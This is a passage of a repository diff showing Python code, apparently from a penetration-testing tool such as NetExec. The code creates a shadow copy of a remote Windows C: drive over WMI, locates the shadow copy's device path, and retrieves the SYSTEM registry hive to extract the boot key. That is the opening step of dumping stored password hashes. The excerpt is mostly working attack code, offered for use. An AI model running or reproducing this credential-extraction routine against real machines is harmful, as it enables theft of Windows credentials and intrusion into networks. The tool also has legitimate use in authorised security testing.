ret = self.cimv2_namespace.DeleteInstance(wmiPath)
|
||||
if (ret.GetCallStatus(0) & 0xffffffff) != 0:
|
||||
self.connection.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.")
|
||||
else:
|
||||
self.connection.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted")
|
||||
|
||||
def create_shadowcopy(self) -> str:
|
||||
# Creating Shadow Volumes
|
||||
shadow_id = None
|
||||
try:
|
||||
win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy")
|
||||
self.connection.logger.debug("Trying to create SS remotely via WMI")
|
||||
result = win32_shadow_copy.Create("C:\\", "ClientAccessible")
|
||||
self.shadow_copy_created = True
|
||||
shadow_id = result.ShadowID
|
||||
self.connection.logger.debug(f"Shadow Copy created at ID {shadow_id}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Cannot create ShadowCopy: {e}")
|
||||
return shadow_id
|
||||
|
||||
def get_shadowcopy_path(self, shadow_id=None) -> str:
|
||||
if shadow_id is None:
|
||||
shadow_id = self.shadow_id
|
||||
device_object = None
|
||||
try:
|
||||
iEnum_shadow_copies = self.cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"')
|
||||
obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0]
|
||||
props = obj.getProperties()
|
||||
shadow_copy = {k: v["value"] for k, v in props.items()}
|
||||
device_object = shadow_copy["DeviceObject"]
|
||||
self.connection.logger.debug(f"Found ShadowCopy at {device_object}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Cannot find ShadowCopy with ID {shadow_id} :{e}")
|
||||
return device_object
|
||||
|
||||
@property
|
||||
def shadow_id(self):
|
||||
if self._shadow_id is None:
|
||||
self._shadow_id = self.create_shadowcopy()
|
||||
return self._shadow_id
|
||||
|
||||
@property
|
||||
def shadow_copy_path(self):
|
||||
if self._shadow_copy_path is None:
|
||||
self._shadow_copy_path = self.get_shadowcopy_path()
|
||||
return self._shadow_copy_path
|
||||
|
||||
def get_bootkey(self, output_filename):
|
||||
if self.bootkey is not None:
|
||||
return self.bootkey
|
||||
|
||||
system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM"
|
||||
system_hive_recovered = self.connection.get_file_single(system_hive_path, f"{output_filename}.system")
|
||||
if system_hive_recovered:
|
||||
self.connection.logger.debug("Got SYSTEM hive")
|
||||
local_operations = LocalOperations(f"{output_filename}.system")
|
||||
self.bootkey = local_operations.getBootKey()
|
||||
self.connection.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}")
|
||||
else:
|
||||
self.connection.logger.fail("Could not get bootkey")
|
||||
return self.bootkey
|
||||
Loaded 100 of 109 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user